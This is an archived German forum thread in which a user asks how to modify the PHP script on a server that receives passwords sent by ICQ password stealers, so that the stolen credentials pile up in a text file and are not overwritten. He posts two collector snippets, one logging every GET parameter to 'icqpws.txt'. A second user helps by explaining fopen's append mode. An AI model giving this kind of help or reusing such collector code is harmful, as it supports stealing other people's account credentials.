PDA

Archiv verlassen und diese Seite im Standarddesign anzeigen : datei nicht überschreieben



Lycidias
26.06.2007, 20:32
HI! Ihr kennt ja alle diese icq ... pw stealer, die das pw dann auf nen bestimmten ftp server schreiben.
wie änder ich diese php datei auf dem server, so , dass die txt datei mit den pws nicht immer überschrieben wird, sondern das die immer nacheinander in die txt reingeschrieben werden?
Hier 2 Beispiele:
1.

<?
$daten="$datei";
$datenbank = "Pass.txt";
$datei = fopen($datenbank,"w");
fwrite($datei, $daten);
?>


2.

<html>
<head>
</head>
<body>
<?php
$datei = 'icqpws.txt';
$handle = fopen($datei, 'a+');
$counter = 0;
if(is_writeable($datei)){
foreach($_GET AS $key => $value){
$action = fwrite($handle, "{$key} : {$value}\r\n");
$counter++;
}
}?>
</body>
</html>

Vielen Dank!!! :P

Nemo.A
26.06.2007, 21:12
Googlen könnte man z.B. um das zu Verstehen was im Code steht. Dann wärst du irgendwann auf die Definition von "fopen" gestoßen:
http://de.php.net/manual/en/function.fopen.php
Da wird erklärt das "w"


Öffnet die Datei nur zum Schreiben und setzt den Dateizeiger auf den Anfang der Datei sowie die Länge der Datei auf 0 Byte. Wenn die Datei nicht existiert wird versucht sie anzulegen.

Heißt, So wie in Beispiel 2, sollte es klappen.

Lycidias
27.06.2007, 13:41
Vielen Dank für die Antwort^^
Aber: Ich hab das nicht so ganz kapiert^^ mit meinen Englischkentnissen, meine ich dass ich da jezz nen A hinsetzen muss oder???
Also die pws sollen auch beim 2... 3... mal noch gespeichert sein, egal wie oft da pws reingeschrieben werden. Vielen dak, und bitte nich böse sein^^

Nemo.A
27.06.2007, 15:59
Ich hätte schwören können, ich habe den Deutschen Link reingesetzt *kopfkratz*
http://de.php.net/manual/de/function.fopen.php (Das ganze auf Deutsch)

Außerdem geht Probieren vor Studieren! Also setze das "a" oder "a+" usw. alles mal rein, und teste es aus. :)

Lycidias
27.06.2007, 20:09
vielen dank^^